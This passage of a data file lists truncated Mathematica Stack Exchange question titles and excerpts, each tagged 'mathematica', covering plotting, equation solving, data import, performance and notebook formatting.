predict the next sample? [closed] Body: What I would like to do is create a tool that takes as an input, a set of samples that are known to behave according to a known probability distribution and predict the next sample. The tool will ... ",['mathematica'] "Title: Fast Sieve Implementation Body: I'm going to write a code to compete in performance with NewPGen. The goal is to sieve numbers that have small factors. Mine is very slow in compare with NewPGen. Here's my code: ... ",['mathematica'] "Title: How do I combine the data from two tables according to a rule of my own devising? Body: I have two matrices a = m x 5 and b =m x 5 (m is large, say 1,000) which are already sorted as below: How to generate a new matrix c = m x 5 which consists: Column 1: exact replica of Column 1 ... ",['mathematica'] "Title: How can I recreate Trott's Riemann Surface plot in Mathematica? Body: In reading Michael Trott's Visualization of Riemann Surfaces of Algebraic Functions, he has: ... ",['mathematica'] "Title: Write and Read to StreamPosition Body: One OutputStream and one InputStream are opened on the same file: ... ",['mathematica'] "Title: Multiple ranges in one plot [duplicate] Body: Possible Duplicate: 1 Plot, 2 Scale/Axis Generating a broken or snipped axis in ListPlot I have data in several ranges which I, when I plot together, is not very useful. I was thinking ... ",['mathematica'] "Title: Using Evaluate adds color? [duplicate] Body: Possible Duplicate: Difference in Plot when using Evaluate vs when not using Evaluate I don't see any difference in the output of the following commands: ... ",['mathematica'] "Title: How can I create Arguments Maps with Mathematica's graph functions? Body: I am relatively new to Mathematica, and I would like to know how I could use it to represent an Argument Map, such as those that you generate on online tools such as http://debategraph.org. The ... ",['mathematica'] "Title: Embedding a “Details Section Style” within a Section or SubSection Body: When presenting a technical derivation within a Section of a Mathematica notbook, I often encounter the situation where a lot of ""detail"" separates equations (x) and (x+1), and I suspect many readers ... ",['mathematica'] "Title: Sound data Import Export Body: Can't regain the data after Export. Create an array of sampled amplitude values: 2. Visualize as sound 3. Save it 4. Get it back 5. ??? ... ",['mathematica'] "Title: How to create a Table of Tables with indexed variables Body: I want to use concise code to generate a table of values that list the addition of a set of vectors. What I am looking for is essentially a Table of Tables. I will show here the kind of lists I want, ... ",['mathematica'] "Title: How do I solve this equation? Body: I want to solve the equation $$ f(f(-1)) = \sqrt{2} + g(f(2)), $$ where $$f(x) = \dfrac{a}{x^2} - 3x + 2, \quad g(x) = a\cdot \sin 2x$$ $a$ is unknown. The solution is $a \approx{-5.81}$. I tried ... ",['mathematica'] "Title: Multiple windows in Mathematica help Body: I'm new in Mathematica, and would like to know how can I open multiple help windows at the same time. It's this possible? I'm using Mac OS. I know it works for link in the help page with right mouse ... ",['mathematica'] "Title: How do I make an image “nearly” black and white? Body: Using the following code, I downloaded an image from the web and adjusted the image to obtain the ""negation"" of the image: ... ",['mathematica'] "Title: Preventing Grid from resizing when the item height is increased Body: I created a grid of size 200,200 and placed a button in it of size 200×200. ... ",['mathematica'] "Title: How to express endogenous variables in terms of exogenous variables? Body: I have 11 endogenous variables (RD, NR, WR, Q, NQ, R, L, W, NU, C1, C2) and two exogenous variables (EE, K). I'm trying to find $RD = f(EE, K),\, NR = f(EE, K),\, ...,\, C2 = f(EE, K)$. Hence, I ... ",['mathematica'] "Title: Is there an option to change the space/distance between tick labels and axes labels for plots? Body: In an attempt to squeeze more plots and controls into the limited space for a demo UI, I am trying to remove any extra white spaces I see. I am not sure what options to use to reduce the amount of ... ",['mathematica'] "Title: Transformation rule on a list of non-negative integers Body: I am trying to create a transformation rule that takes a list of non-negative integer values of any length, finds a non-zero entry in the list, adds 1 to all preceding numbers, subtracts 1 from the ... ",['mathematica'] "Title: How can I control the behavior of a Manipulate with check boxes and radio buttons? Body: I've been stuck for a long time on this problem, and I really would appreciate if somebody helps me move in the right direction. I have two functions and each can take one of two forms. I am ... ",['mathematica'] "Title: How to get a plot generated by R returned in an output cell? Body: It seems we'll never have built in two axis plots and list plots in Mathematica but you can make them in R. ... ",['mathematica'] "Title: Time-series decomposition in Mathematica Body: I'm studying time-series in R with this book, and there is a nice command in R that creates decompositions. Inside Mathematica 9 the command can be executed as: ... ",['mathematica'] "Title: How can I download price information for multiple stocks at once? Body: I have a list of stock tickers. Is it possible to download price information over a period of time all in one go, or download other types of information across multiple stocks in one go? ",['mathematica'] "Title: Is there a shortcut to select all cells above the current cursor position? Body: Is there a command / menu entry / keyboard shortcut to evaluate all cells above / up to the current cursor position? I have the feeling I am missing something elementary here... Addendum: In fact, it ... ",['mathematica'] "Title: 3D plots wrongly displayed when using GraphicsRow in Linux Body: I get an incorrect vertical offset in 3D plots when using GraphicsRow in Mathematica 9 (Linux - Ubuntu 12.04). When displayed by itself, the plot is fine. Here's an example: ... ",['mathematica'] "Title: Version 7 and 8, different behavior of NSolve. Is it reproducible? Body: I noticed the following difference, and I wonder if it's a problem of my system or the results difference is actually due to the two different versions ... ",['mathematica'] "Title: TemporalData frequency option as in R Body: I'm studying R, and am very impressed by the simplicity of some commands and in the way R handles temporal data. For example, in R, if you have some one-dimensional temporal data, you can easily ... ",['mathematica'] "Title: Providing options to function [duplicate] Body: Possible Duplicate: Functions with Options I'm trying to write a Function With an option ""Panel"" which takes True or False as arguments. Based on Panel Value (True/False), different ... ",['mathematica'] "Title: Problem with setting working precision in NIntegrate Body: I want to obtain a good numerical approximation (up to 10 decimal place would be ok for me) to an integral: $$ \int^{\infty}_{0} f(r)r^2dr $$ I am using the function $f(r)$, which is related to the ... ",['mathematica'] "Title: How can we extend the predictive interface so it can suggest new operations? Body: Introduction Mathematica 9 has introduced a new predictive interface. For each output, it suggest possible actions the user might want to take. How can this interface be extended so that it will ... ",['mathematica'] "Title: Why does “Pattern(1,0)[w,_]” show up in the resulting expression of a differentiation? [closed] Body: I would like to differentiate the function s, and be able to evaluate it for different w afterwards. I tried the following: ... ",['mathematica'] "Title: Combining two lists [duplicate] Body: Possible Duplicate: How do I obtain an intersection of two or more list of lists conditioned on the first element of each sub-list? I would like to combine two lists. ... ",['mathematica'] "Title: Importing Quicken Tab Delimited .*TXT File and plotting Body: I am using Mathematica 7 to try and plot my quicken data file. I have exported my quicken file as a .*TXT and have made zero changes to it. I want to do a ... ",['mathematica'] "Title: How to print preview a selection? Body: When printing (file->print...) there's the possibility of printing just the current selection. This is useful for printing just a couple of cells, or some chapters. The file menu also has Print ... ",['mathematica'] "Title: How to insert a link to a generic file, in the middle of a text style cell/paragraph? Body: It is easy to insert a Hyperlink to a notebook file, or to an internet address, in the middle of a text style cell (Ctrl+Shift+H or menu: Insert->hyperlink). Trying to create a hyperlink to a file ... ",['mathematica'] "Title: How can I superimpose points or disks on an image at specified coordinates? Body: I have a TIFF image of 640 x 640 pixels, over which I would like to plot a list of points or disks of small radius. I have been testing different alternatives and I found ImageCompose command. ... ",['mathematica'] "Title: Combining 3 graphics of different coordinate systems Body: I have 3 graphics in different coordinate systems and I want to join them in as in the following figure. This is just a sample figure, not the real one. My functions are as follows. ... ",['mathematica'] "Title: About extension fibonacci Body: I have been trying to solve this problem, it worked slow. I know there is a efficiently way. How do I get it? The following is my code: ... ",['mathematica'] "Title: Non solutions returned by NSolve. And why does it return both phi and Cos[phi]? Body: Similarly to this thread NSolve gives additional solutions that don't satisfy the equations! NSolve returns ""spurious"" solutions, even increasing the working precision ... ",['mathematica'] "Title: RegionPlot3D in cylindrical or spherical coordinates? Body: RegionPlot3D is awesome. Unfortunately, it appears to work only for Cartesian coordinates. While there are ways to draw surfaces in spherical or cylindrical coordinates, I can't find a way to draw ... ",['mathematica'] "Title: Different behaviour of ValueQ inside and outside of a loop Body: I need to store a rather big number of variables and I tried to do that by storing each variable as Z[n] with varying n. I guess this was not my best idea. The first problem I encountered is when I ... ",['mathematica'] "Title: user defined functions, how to save them for future use? Body: I need certain user defined functions over and over. I was wondering how can I define and where and how to save them such that each time I start a notebook, these functions are available and need not ... ",['mathematica'] "Title: Loops and subroutines [duplicate] Body: Possible Duplicate: Alternatives to procedural loops and iterating over lists in Mathematica I am new to Mathematica and not familiar with functional programming. In particular, I have no ... ",['mathematica'] "Title: Sales forecast using SARIMAProcess and time-series data Body: I would like to ask for help in how to use the new Mathematica 9 time series functions to make some sales forecast. For example, for one of our stores, I have this data set with 35 points, from ... ",['mathematica'] "Title: Why cant Mathematica solve this equation? [duplicate] Body: Possible Duplicate: Can Reduce *really* not solve for x here? Why cant Mathematica solve this equation? ... ",['mathematica'] "Title: How to generate a picture like this? Body: How to generate a picture like this? I'd like the surface of the manifold to randomly distort. ",['mathematica'] "Title: Remove annoying Conjugate Body: Here is an expression ... ",['mathematica'] "Title: Extracting box coordinates [duplicate] Body: Possible Duplicate: Dimensions of the results of Text[] within Graphics[] In writing the following code, I had to figure out what values to give d by trial and error. Is there a way to ... ",['mathematica'] "Title: Evaluating a function on permutations of its arguments Body: Say I have a function ""temp"" of $n+1$ variables, $y,z1,z2,z3,...,zn$. I want to test if my function has certain symmetries like swapping $y$ with square of any $z$, swapping any two of the zs, ... ",['mathematica'] "Title: How to solve this trigonometric system of equations numerically? Body: How can the following trigonometric system of equations be solved numerically? ... ",['mathematica'] "Title: Possible bug in v9.0 Rest[] function Body: Just to be clear, this all works perfectly in v8.0.4.0. It only fails me in v9.0. I use 64-bit Linux, 64-bit versions of Mathematica, and I have 16GB of RAM. I have a data file formatted as ... ",['mathematica'] "Title: Sorting function for non commuting bosons Body: I am trying to write a sorting function which will sort expressions involving products of bosonic objects which do not commute. For example, I can have objects like $a,\ a^\dagger,\ b,\ b^\dagger$ ... ",['mathematica'] "Title: How do I union graph properties? Body: I have two graphs ... ",['mathematica'] "Title: Plotting complex numbers [duplicate] Body: Possible Duplicate: Plotting an Argand Diagram How do I plot complex numbers in Mathematica? The following is a part of my data, the eigen values of a 50 by 50 asymmetric matrix: ... ",['mathematica'] "Title: How can I save as PDF without file size getting too large? [duplicate] Body: Possible Duplicate: Graphics exported from Mathematica 9 are very large because even standard fonts are embedded I have a text only notebook that I saved as PDF. The file size is 2.8 mb. ... ",['mathematica'] "Title: “Thickness” doesn't work in Parametric3D Body: I have Mathematica 8 and for some reason, the parameter ""thickness"" doesn't work in Parametric3D, it works in 2D very fine ParametricPlot3D[{{t, 0, -t}, {0, t, 2 t}}, {t, 0, 100}, PlotStyle -> ... ",['mathematica'] "Title: How to set path of IMPORT from excel into Mathematica? Body: I was able to IMPORT from excel data at the start of my project when both the .nb and EXCEL XLS files were sitting in MyDocument (or some other location), but upon moving both files into my Dropbox ... ",['mathematica'] "Title: “Show” with Manipulate runs fine normally, but gives errors as a CDF Body: I've simplified my code to what can reproduce my error. Basically, I have two lines: ... ",['mathematica'] "Title: Matrix Plot – Little Exercise Body: Hi there, mathematicians. I'm not very good at coding plots in Mathematica, so I was hoping that one of you could help me solve a problem I'm having. I have the following matrix plot: ... ",['mathematica'] "Title: Creating histogram? Body: How can i create histogram of these variables that would show the depth of sensors when temperature is 0 Degree Celsius. Time function is 0 min, 50 min, 100 min, 150 min, 200 min, and 250 min and ... ",['mathematica'] "Title: How do you force a decimal output? [duplicate] Body: I have some very small values such as 2.601519253*10^-8. I'd like to output these values to CSV for another program to work with. I've tried N[value, 50], but Mathematica still insists on producing ... ",['mathematica'] "Title: Standard deck of 52 playing cards in curated data? Body: I am not sure how to find out what all is included as curated data. For example, are the individual images of each of the 52 cards in a standard deck of playing cards included? If not, is there a way ... ",['mathematica'] "Title: How to solve this combination equation? Body: I want to solve the equation $$ 2n\cdot\binom{n}{0} + 5(n-1)\binom{n}{1}+13(n-2)\binom{n}{2}+\cdots + \left(2^{n-1} + 3^{n-1}\right)\binom{n}{n-1} = 1685. $$ or using alternative notion for binomial ... ",['mathematica'] "Title: Execute code when file is modified Body: I have a function the takes some time to complete. The function imports data from a .csv, parses it, and plots certain vectors from there. The .csv is constantly being updated from an external ... ",['mathematica'] "Title: How do I simplify expressions with square roots? Body: I want $\left\{\frac{1}{1+\sqrt{2}-\sqrt{3}},\sqrt{5-2 \sqrt{6}},\sqrt{4+\sqrt{15}}\right\}$ to be simplified to $\left\{\frac{1}{4} \left(2+\sqrt{2}+\sqrt{6}\right), \sqrt{3}-\sqrt{2}, \frac{1}{2} ... ",['mathematica'] "Title: How to use version 8 default.nb style sheet in place of version 9 default.nb Body: I do not like the new default.nb style sheet in version 9, and would like to use the older one that was used in version 8 for any new notebook and for any notebook created since I started using V9. I ... ",['mathematica'] "Title: fit using parametric equations Body: I have experimental data with two columns (x & y). I need to fit the data to two parametric equations of the form $$y =\text{const}_1 \times \left( \frac{\int _a^{b}\sqrt{\frac{\left( 1+\gamma ... ",['mathematica'] "Title: BSplineCurve Interpolation Body: Can I get interpolated values from this B-spline, (shown in red)? ... ",['mathematica'] "Title: Plot, HoldAll and the color problem Body: I have a similar problem as posted in Difference in Plot when using Evaluate vs when not using Evaluate, however due to a numerical evaluation I cannot use ... ",['mathematica'] "Title: How to define UpValues in a different context from within a package Body: I'm trying to create a function (in a package) to import a lot of data and create a symbol with UpValues to return specific results about the data. I've got it working fine in a regular notebook, but ... ",['mathematica'] "Title: How do I add options to a built in function, which only apply to a certain class of argument? Body: I'd like to add an option to a built-in function that only applies when it is given an argument of a certain form. For example, something like this approach to extending ... ",['mathematica'] "Title: Matrix algebra vs. PrincipalComponents and Varimax/Oblimin Body: Using matrix algebra I can calculate loadings and scores from the covariance matrix (data matrix is column centered): ... ",['mathematica'] "Title: Histogram: Bars not stacked, not overlapped, but side by side? Body: I would like to make a histogram with multiple datasets. Then Mathematica allows to either overlap or stack the data from the different data sets. However, I would like to have the bars side by side, ... ",['mathematica'] "Title: Prevent manipulations in PlotLegends Body: Mathematica code to reproduce: ... ",['mathematica'] "Title: How to write data from Mathematica to an existing formated Excel file? Body: I have a sheet in an Excel file already formated: different colors, fonts, columns width and cells styles. I want to fill-out values from Mathematica into specific cells of that sheets, or use that ... ",['mathematica'] "Title: How to express Polynomial in a certain format with Mathematica? Body: Equations ... ",['mathematica'] "Title: TreePlot with centered vertexes Body: I want to draw a tree plot for Euler totient function for this question like the following: I generate the EulerPhi for first 20 numbers into a list: ... ",['mathematica'] "Title: f[arg1, arg2,…,argN] vs. f[{arg1, arg2,…,argN}] Body: I am trying to reproduce the API of a function (written in R) that accepts an arbitrary number of arguments and handles it the same way as it would handle a single argument that is a list of different ... ",['mathematica'] "Title: Unintended edge extensions in 3D Cube rendering Body: I have arranged a certain configuration of cubes in 3D using the following code: ... ",['mathematica'] "Title: Reading in Huge Text Files Body: I would like to read in really large text files (about 2GB) into Mathematica. The structure of the file is such that the first row and the first column are text i.e strings. Rest is all numbers. Is it ... ",['mathematica'] "Title: What's the best practice for nested local constants? [duplicate] Body: Possible Duplicate: How to avoid nested With[]? I have many situations where I have a constant that is local to a function, with other constants that are computed from it. I see that I can ... ",['mathematica'] "Title: Sort matrix by columns and rows without changing them Body: I would like to sort a matrix in descending order first by the total of each column, then by the total of each row, but without changing their content. For example, if I had: ... ",['mathematica'] "Title: NDSolve and {C, K, Slot} and other built-ins as a variable name Body: The following problem is an exploration of what causes the error ""Input is not an ordinary differential equation"" in Mathematica as it seems to have changed from version 8 to version 9. Specifically ... ",['mathematica'] "Title: Forest plot with Mathematica 9 Body: Does anyone have experience with or a package for the creation of forest plots in Mathematica 9? For instance for subgroup analyses of cox model or meta-analysis (e.g rmeta package in R)? ",['mathematica'] "Title: Setting the default font for PlotLegends Body: I'm pleased that Mathematica 9 appears to have brought us prettier legends. If I always want the legend in ... ",['mathematica'] "Title: Is learning to use Mathematica useful for pure theoretical research in Mathematics and Computer Science? Body: I am looking for opinions from Mathematica users about Mathematica itself. After reading the faq, I thought that in some sense I ""wish to solve a problem using Mathematica"" ... although I understand ... ",['mathematica'] "Title: How do I format an Exported plot to Excel? Body: I have the following piece of code: ... ",['mathematica'] "Title: How to define a differential operator? Body: I have a linear differential operator, for instance, $L\left (\partial _{t} \right )=\partial _{tt} - 3\partial _{t} + 2$. I use it in 2 different ways: apply the operator to a function: $L\left ... ",['mathematica'] "Title: downloading home version for mac Body: This is I think a trivial question but I did check against those already asked. I am downloading Mathematica (home use). Very slow connection. So my Mac displayed the progress bar but this morning ... ",['mathematica'] "Title: Mathematica as a normal programming language Body: I'm interested in Mathematica's core language for both practical development and as an object of computer science study. Actually, the former is more of a means to the latter. I would like to create ... ",['mathematica'] "Title: Multiply (not divide!) Vectors in a List by Their Own Norm Body: I wanted a set (""list"") of 100 random vectors of dimension 2. I accomplished this already by generating a ""list of lists"" where the elements of the overall list are 2-dimensional lists consisting of 2 ... ",['mathematica'] "Title: Localizing variables within a Manipulate Body: I have a notebook with several examples of very similar computations, each involving the same variable/parameter names of the ingredients used in a final ... ",['mathematica'] "Title: How to export notebook in colored PDF form [duplicate] Body: Possible Duplicate: Saving a notebook as PDF, preserving syntax highlighting I would like to export my notebook code in a colored PDF form. What I do is select the brace in the right side ... ",['mathematica'] "Title: Multivariate Function Approximation With a Large Dataset Body: I have a nice amount of data from a trading strategy I am working on, where I have two different liquidity parameters as x, y variables. Before entering a trade I am taking the moving average of ... ",['mathematica'] "Title: Computing closest set of points to each point in large set — running out of memory (arrays unpacking) Body: I have a large set of points in 3D and I'm trying to identify all the points that lie within a certain distance of each point. Then using this data store the vector between the pairs of points. I ... ",['mathematica'] "Title: RSolve not returning known solution Body: I have the following recurrence relationship for which I know the solution is given by a binomial distribution: ... ",['mathematica'] "Title: What is the best way (lossless) to import .skp files into Mathematica? Body: I am using the free version of Google Sketchup and I've got a few designs in hand, which I need to be able to import into Mathematica. I saw the similar question asked by @Sjoerd C. de Vries in Stack ... ",['mathematica'] "Title: Make legend same height as plot Body: One common style for density plots is to have a vertical legend that is the same height as the plot itself. Some example density plots from Google Image search: How can we make DensityPlots with ... ",['mathematica'] "Title: MathKernel and MathLM interaction Body: If one restarts MathLM on a Linux server, will that restart mathkernel as well? In other words, will restarting MathLM affect the current jobs running that use MathKernels? Thanks. ",['mathematica'] "Title: Can I get a trace of the complexity of a convergent sum? Body: Motivation--- I have a glimmer of an idea that a convergent sum could be considered a self-referential number similar to a fractal. I would like to play with it for a while. I have the following ... ",['mathematica'] "Title: Replacing functions Body: Given an expresion 'e' in terms of a function 'f' and given another function 'g', how could I write a Module that replaces the function f to g in the expresion e and returns it? An example: ... ",['mathematica'] "Title: Extracting Pareto elements from a list Body: How can I extract the Pareto elements from a list? For example, for that list: ... ",['mathematica'] "Title: How can I add arbitrary code into DefaultKeyTranslations.tr? Body: The solution to this question on how to get latex code for a text cell (which Mathematica doesn't do correctly) was formulated as a palette but I need it as a keyboard shortcut. How can I add an ... ",['mathematica'] "Title: Generating all matrices with 1 (possibly) replaced by -1 Body: I have a matrix $M$, whose dimension I am unsure of, which has only $\lbrace0,1\rbrace$ entries. I would like to generate all the possible matrices that result from changing (some subset) of the $1$'s ... ",['mathematica'] "Title: Force ellipsis to print an end of an expression Body: For pedantic reasons I want to display an infinite sum of fractions in fractional form (i.e. as 1/x not as x^(-1)) with an ellipsis at the end of the expression. I have tried a number of ways and ... ",['mathematica'] "Title: Fast Karatsuba Squaring, how to? Body: I want to improve timing of squaring for big numbers. So I asked What is the fastest way to split a number into parts and What is the most efficient way to add zeros to end of a number with several ... ",['mathematica'] "Title: Reading periodic elements from a large file Body: I have a large binary data file (big endian) with 100+ million ""rows"" of 11 elements, combination of floats and integers. This is the format: ... ",['mathematica'] "Title: Data fitting using a model based on Eigensystem [closed] Body: Background (for interest/flavour): I'm writing a routine to extract certain physical parameters from a set of x-ray spectroscopy data. There are 7 parameters to be fitted; 3 (Dq, Dsigma, Dtau) relate ... ",['mathematica'] "Title: Precise Timing for nested functions, how to? [duplicate] Body: Possible Duplicate: Profiling from Mathematica How can I easily get fractions of timing for each nested function? Consider a nested call like this: ... ",['mathematica'] "Title: How can I create a CDF application while using GUIKit? Body: I have created a notebook that uses GUIKit to create a user interface. The targeted user does not have Mathematica available so I thought about using the CDF player to convert the file if possible, ... ",['mathematica'] "Title: Sum over binary digits of integer Body: This might seem like a simple enough question but Mathematica seems to simplify inadequately here: How would you sum over the digits of an arbitrary binary number? I already tried this: ... ",['mathematica'] "Title: What is the fastest way to split a number into parts? Body: I have very large numbers (million digits). number = A*10^partlen + B As of now, I split the numbers by this way: ... ",['mathematica'] "Title: Extract a List of Co-ordinates from a List of Complex Solutions Body: Let's say I have this list of solutions from a previous computation: ... ",['mathematica'] "Title: Finding distribution parameters of a gaussian mixture distribution Body: Short version: how to estimate the parameters of a mixture of multivariate normal distributions (i.e.: Gaussian mixture model)? Long version. I am trying to estimate the parameters of a mixture of ... ",['mathematica'] "Title: Insert $+$, $-$, $\times$, $/$, $($, $)$ into $123456789$ to make it equal to $100$ Body: Looks like a question for pupils, right? In fact if the available math symbol is limited to $+$, $-$, $\times$, $/$ then it's easy to solve: ... ",['mathematica'] "Title: How to plot X and Y data to see average data converging? Body: I initially have ran a large, say 1000 (to be changed later) number of monte carlo simulations (mcRun), and I want to see when the average data result starts to converge to a reasonable value. So I ... ",['mathematica'] "Title: Why Can't Mathematica Integrate this? Body: I have the following problem from a textbook I am trying to integrate: So, following the directions in text, I am required to integrate each function. However, I cannot get Mathematica to integrate ... ",['mathematica'] "Title: Replacements/Substitutions in Mathematica Body: I am a new user of Mathematica and have some questions about the simplifications of calculated expressions. I am unable to attach an image of the session, but my Mathematica commands are: ... ",['mathematica'] "Title: Setting default Mathematica version Body: Is there a way to set the default Mathematica version? I would like to run both versions 7 and 8 (on a Win7 PC), but when version 8 is installed it takes priority. Clicking on a notebook ... ",['mathematica'] "Title: Import Fortran unformatted binary Body: I have an unformatted binary file generated using the Compaq Visual Fortran compiler (big endian). Here's what the little bit of documentation states about it: The binary file is written in a ... ",['mathematica'] "Title: Time approximation of decrypting RSA algorithm Body: I've written a function that encrypts a text using the RSA algorithm. It then decrypts it using prime factorization, and takes the time it took to decrypt it and puts it in a vector together with the ... ",['mathematica'] "Title: How do I find the degree of a multivariable polynomial automatically? Body: I have a very simple question which appears not to have already been answered on this forum. Is there built-in functionality that returns the degree of a multivariable polynomial? For example if the ... ",['mathematica'] "Title: Exported graphics texture to eps is too dark Body: Why is the exported graphics eps file so dark? It looks much lighter (and better) as the Mathematica output appearing the notebook. After running ... ",['mathematica'] "Title: Histogram of runs Body: What I would like to do is generate a histogram of the consecutive time spent under a level. For example if the level I was interested in was 1.0 and I had this data; ... ",['mathematica'] "Title: How to obtain xyz-axes of same length? [duplicate] Body: Possible Duplicate: Controlling the 2D $x–y$ aspect ratio of a 3D plot I am plotting 1000 points in a 3-dimensional cartesian coordinate system, the plotting range for the x, y, z axes is ... ",['mathematica'] "Title: Assign the result of Solve in a list [duplicate] Body: Possible Duplicate: Assign the results from a Solve to variable(s) I want to assign the results of a Solve command in a list. For example Solve[-((287 s^3)/50) == 0, s] returns {{s -> 0}, ... ",['mathematica'] "Title: How do you use SystemsModelFeedbackConnect? Body: I'm trying to grasp the new control system functions in Mathematica 8. I'd like to connect a controller model to a model of a plant to simulate the behavior of the system. I define a simple servo ... ",['mathematica'] "Title: Use output from Plot3D as an object in Graphics3D that I can transform Body: I'm trying to draw up an optical system where I can show an example of wavefront error on an exit pupil. It would be great if I could take the results of a 3D function from Plot3D and use it as a ... ",['mathematica'] "Title: Create filling between two trig functions Body: Working with trig functions, period, amplitude, etc. I found a worksheet at a calculus website, with some nice questions related to interpreting trig functions, at least, they provide some ""fun"" ... ",['mathematica'] "Title: Monotone, periodic 1d-interpolation with continuous 1st order derivative Body: Lately, we had this thread about interpolation where J. M. linked two interpolation methods. The background for my question is that I estimated a parameter in polar coordinates with dependence on the ... ",['mathematica'] "Title: Why is MapIndexed better than mapping over a range? Body: Background I'm working on an application in which I need to create and control two sets of locators. I know from reading the Mathematica documentation and certain posts on Mathematica.SE that this ... ",['mathematica'] "Title: How to find all roots and maxima and minima and graph them Body: I need to find all the roots of this function. I know it is simple to find by hand, however, I wish to learn how to do it so I can apply it later. The problem is that it only gives me one root. ... ",['mathematica'] "Title: Where can I take a pool of words from? Body: Dear Community members, I am thinking about an interactive machine to teach a school child to write difficult words correctly. As a first step I need a collection of words. I will select a pool of ... ",['mathematica'] "Title: Generating convex polyhedron from face planes? Body: Suppose I have lists of normals and points for planes. There's a convex polyhedron whose faces lie on these planes and are bounded by plane intersections. What would be the easiest way to produce an ... ",['mathematica'] "Title: How do I construct a “named character” programmatically? Body: Why am I getting the error Syntax::sntunc: Unicode longname in the string is unterminated. from the following? ... ",['mathematica'] "Title: Fast Simulations with Compile Body: this post relates to another post that I didn't follow up propely. If I wanted to simulate a system of stochastic proesses like the following, and loop over this run many many times would writing the ... ",['mathematica'] "Title: How to insert a plot into another plot Body: I would like to know whether there is a way to insert a plot into another plot. I would like to do some plot from a function an then, inside this plot, in the right down corner add a smaller plot of ... ",['mathematica'] "Title: Can we teach Mathematica about functional differentiation? Body: The key relation for functional differentiation is $$\frac{\delta}{\delta f(y)}f(x)=\delta(x-y), $$ where $\delta(x-y)$ is the Dirac delta function, and the usual properties of differentiation (e.g. ... ",['mathematica'] "Title: Inconsistent boundary and initial conditions: BC ignored altogether Body: Consider the following diffusion-decay equation with von Neumann b/c in the origin and Dirichlet at the other boundary: ... ",['mathematica'] "Title: Restrictions problem Body: I tried to program a simple linear optimization model and don't know where my mistake lies. The function should be a sum over ""t"" and ""z"" from the product of two constants (""e"" and ""H"") and the ... ",['mathematica'] "Title: Ubuntu 12.10 no window focus on help browser Body: The help browser is not getting window focus when clicked on it. Clicking links or buttons in the help browser works without window focus, but copying code or typing in it doesn't. I can get window ... ",['mathematica'] "Title: Reduce distances between vertices of graph to minimum possible? Body: This simple graph has vertex shapes of different sizes: ... ",['mathematica'] "Title: Is there a way to base one style on another? Body: I'm setting up a stylesheet and and finding the process of defining related styles tedious and error prone. In particular, I have several related styles that need to have synchronized settings (e.g., ... ",['mathematica'] "Title: How to expand terms within an integral? [duplicate] Body: Possible Duplicate: Why aren’t these additions of integrals and summations equal? I am trying to expand all the terms in a sum in order to apply assignment rules later, but can't figure out ... ",['mathematica'] "Title: What is the point of Refresh if Dynamic has an UpdateInterval option? Body: I haven't found an example where I can't get rid of Refresh[]: ... ",['mathematica'] "Title: How to determine the remaining sides given the three angles and one side of a triangle? Body: The measure of the interior angles of a triangle are $15^\circ$, $30^\circ$, $135^\circ$ and the length of one edge is 3. In order to determine the length of the remaining two edges, I've tried ... ",['mathematica'] "Title: How to make brute force coding more efficient? Body: Hi guys and guysettes, The little Mathematica I've been using/seen so far, it seems to be all about neat ""one-liners"" using the underlying functions and working with lists & maps to solve issues, ... ",['mathematica'] "Title: How do I switch between dashed and undashed styles in ParametricPlot? Body: I am trying to generate a parametric plot in Mathematica 8 using the following: ... ",['mathematica'] "Title: Solving linear equation Body: I want to solve following linear equations: \begin{align*} 3 x - y &= 0\\ y + 2 z &= -1\\ x + y + z &= 3 \end{align*} The output will be ... ",['mathematica'] "Title: GeneralMiniMaxApproximation - Dividing out the zero Body: MiniMaxApproximation is used to generate minimax approximations. I'm interested in the ""dividing out the zero"" trick. The documentation discusses a nice example. Suppose we want to construct a ... ",['mathematica'] "Title: Plotting reordered clusters with different colors and joined lines Body: I would like to show how typical days of energy load (found through clustering of a years worth of data) are spread throughout a year in a single graph with a color for each 'typical day' (or ... ",['mathematica'] "Title: In finding a logarithmic fit for some data (of the form a*Log[b*x]), WolframAlpha succeeds where Mathematica 7.0 fails, why? Body: I would like to fit a function of the form: $a \log(b x)$ to a set of data: ... ",['mathematica'] "Title: BoxWhiskerChart - Displaying Frameticks Bottom and Top Body: Is there an easy way to display Automatically the Frameticks at the bottom and top in a BoxWhiskerChart? Currently it is only showing the numbers at the bottom. ... ",['mathematica'] "Title: Fourier Coefficients in Mathematica [duplicate] Body: I'm calculating Fourier Coefficients by hand and trying to verify them in Mathematica. However, in Mathematica I get them wrong by a factor of 2. Is there some part of the Mathematica functions I'm ... ",['mathematica'] "Title: How do I plot the unit normal field for a surface? Body: The question is pretty much in the title; I'm about to teach my multivariable calculus students about orientations on surfaces, and I would like to be able to show them pictures. Any ideas? ",['mathematica'] "Title: Good way to discriminate between Mathematica/PlayerPro/CDFPlayer Body: Within a Mathematica program with a graphical user interface I want to programmatically determine whether the code runs in a full Mathematica, a Player Pro or a CDF-Player. There seem to not be any ... ",['mathematica'] "Title: Rearrangement of the list Body: I have the following list: ... ",['mathematica'] "Title: How do I solve coupled ordinary differential equations? Body: I have four coupled ODE's. I am not sure how to plot and solve them using Mathematica. I won't give the exact problem, but the following is something analogous: The equations ... ",['mathematica'] "Title: Export an image as a double precision TIFF Body: I would like to save an image as a double precision TIFF image. I have looked and tried many things but no luck. I have been able to import a double precision TIFF from IDL and found that the data was ... ",['mathematica'] "Title: How to decouple a first order ODE system by eliminating coupled functions Body: Let's see an example of a first order ODE system : $$\begin{align*} y_1'&=a_{11}\cdot y_1+a_{12}\cdot y_2 \qquad(1)\\ y_2'&=a_{21}\cdot y_1+a_{22}\cdot y_2 \qquad(2) ... ",['mathematica'] "Title: x/.NSolve[f==g,x] does not work when f or g is the output of NDSolve! Body: I have been trying to put Points at the intersection of two curves, one of which is the ouput of a differential equation solved with NDSolve. The output being an Interpolation, NSolve cannot find the ... ",['mathematica'] "Title: How to solve the liar problem? Body: In an island live two kinds of people: liar and truth-teller, the former only tells lies and the latter only tells truth, now there're two men A and B from the island, A said: ""B is a truth-teller."" B ... ",['mathematica'] "Title: Adding headers to sublists Body: I would like to transform the following list: ... ",['mathematica'] "Title: How to assign different colors to list plotted in ParametricPlot? [duplicate] Body: Possible Duplicate: Difference in Plot when using Evaluate vs when not using Evaluate I am plotting galaxies and I would like to color them according to their redshift values using a ... ",['mathematica'] "Title: Publishing a Mathematica notebook Body: I am considering publishing a Mathematica notebook, used for analysis of some data, as a “supporting information” file alongside a research paper. What are the common practices for doing so, and what ... ",['mathematica'] "Title: How to generalize a formula? Body: This is a piece of my code: ... ",['mathematica'] "Title: How to solve this equation with positive integers as a solutions? Body: This is a problem of United 